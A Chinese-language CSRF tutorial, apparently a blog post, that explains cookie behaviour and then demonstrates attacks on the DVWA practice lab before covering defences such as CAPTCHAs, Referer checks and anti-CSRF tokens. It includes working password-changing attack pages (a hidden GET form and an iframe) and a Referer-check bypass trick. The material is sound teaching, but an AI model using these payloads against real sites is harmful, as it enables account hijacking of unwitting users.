CSRF全名是Cross Site Request Forgery,中文就是跨站请求伪造,重点在伪造上面,可以看成是黑客伪造了一个恶意页面,诱使用户访问,从而以该用户的身份在第三方站点执行一次操作。
上图是一个正常访问和异常访问的对比 ,下面的异常访问就是黑客的攻击过程。下面这个图是黑客通过CSRF以用户的账号进行转账的例子
攻击者伪造的请求要能被服务器验证通过,需要用户的浏览器能成功发送cookie。下面来先讲解一下cookie。
cookie分为两种,一种是“Session Cookie”,又称为”临时cookie“;另一种是“Third-party cookie”,也称为本地cookie。
区别是:Third-party cookie设置了expire时间,过了时间就失效;而session cookie是关闭浏览器失效。Third-party cookie保存在本地,而session cookie保存在浏览器进程的内存空间中。
如果浏览器从一个域的页面中,要加载另一个域的资源,某些浏览器(IE,safari)会阻止Third-party Cookie发送,这样需要cookie的CSRF攻击就有可能会失败。
但是P3P头的介入后情况变得复杂起来,有了P3P Header在某些情况将会允许浏览器发送第三方Cookie,包括IE浏览器,详细的P3P Header可以查阅W3C
下面进入实战环节,实战平台仍然是DVWA
这是一个界面,CSRF的目的就是要改变密码
一、low等级
先是抓包分析
点击查询参数
会发现提交时,提交了三个参数,在第一张图中需要注意请求方法是GET,这在表单提交的时候非常重要。
下面就是伪造恶意页面诱骗用户点击的过程了
恶意页面的构造有两种方法:
1、第一种是form表单
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<form method="get" action="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="password"/>
<input type="hidden" name="password_conf" value="password"/>
<input type="hidden" name="Change" value="Change"/>
<input type="submit"/>
</form>
</body>
</html>
2、第二种就是利用<img>,<iframe>,<script>,<link>等这些带src属性的标签
<!DOCTYPE html>
<html>
<head>
<title></title>
</head>
<body>
<iframe src="http://127.0.0.1/DVWA-master/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#"/>
</body>
</html>
二、medium等级
用前面的方法构造恶意页面进行访问,发现修改失败。
通过对比正常修改和异常修改的请求头可以发现,referer不一样,我们可以假设服务器对referer进行了限制,下面我们加以验证
点击编辑和重发,先将host后面的给去掉,然后重发,发现成功;然后去掉http重发,发现也成功。可以得到只要referer包含127.0.0.1就可以修改成功。
解决方法:只要在自己的服务器下新建一个名为127.0.0.1的文件夹,再将伪造的页面放入就可以成功绕过
请求头修改成这样,成功绕过
三、high等级
对应high等级发现前面两种方法都失效了
正常的修改过程,抓包分析,发现在提交的参数中多了一个user_token
user_token是随机的,要想获得user_token就必须结合XSS漏洞,如果网站不存在xss漏洞的话,user_token基本上是无法获得的。
这个例子说明对网站的攻击往往是多个漏洞相结合起来利用的
进行完实战演练,下面将讲解CSRF防御:
一、验证码
CSRF是在用户不知情的情况下完成的,设置验证码,强制用户与应用进行交互,从而遏制CSRF攻击
二、Referer Check
前面mediu等级,采用的就是这种方法,但是这种方法非常容易就可以绕过,除非设置非常严格的check。还有一个问题就是服务器并不是什么时候都能取到Referer的,有些用户会禁止Referer的发送,在某些情况下浏览器也不会发送Referer
三、Anti CSRF Token
CSRF的本质原因是重要操作的所有参数都是可以本攻击者猜测到
应对这种情况的一种简单做法是对参数加密,但这个方法有一些其他的副作用
Anti CSRF Token是一个更为普遍的做法,在high等级中用的防御方式就是这种。我们对URL新增一个token参数,token必须足够随机,采用真随机数生成器,而且必须做好保护,不能被第三方轻易的获得,不能将token放在url的search中,尽量放在form中,用POST提交。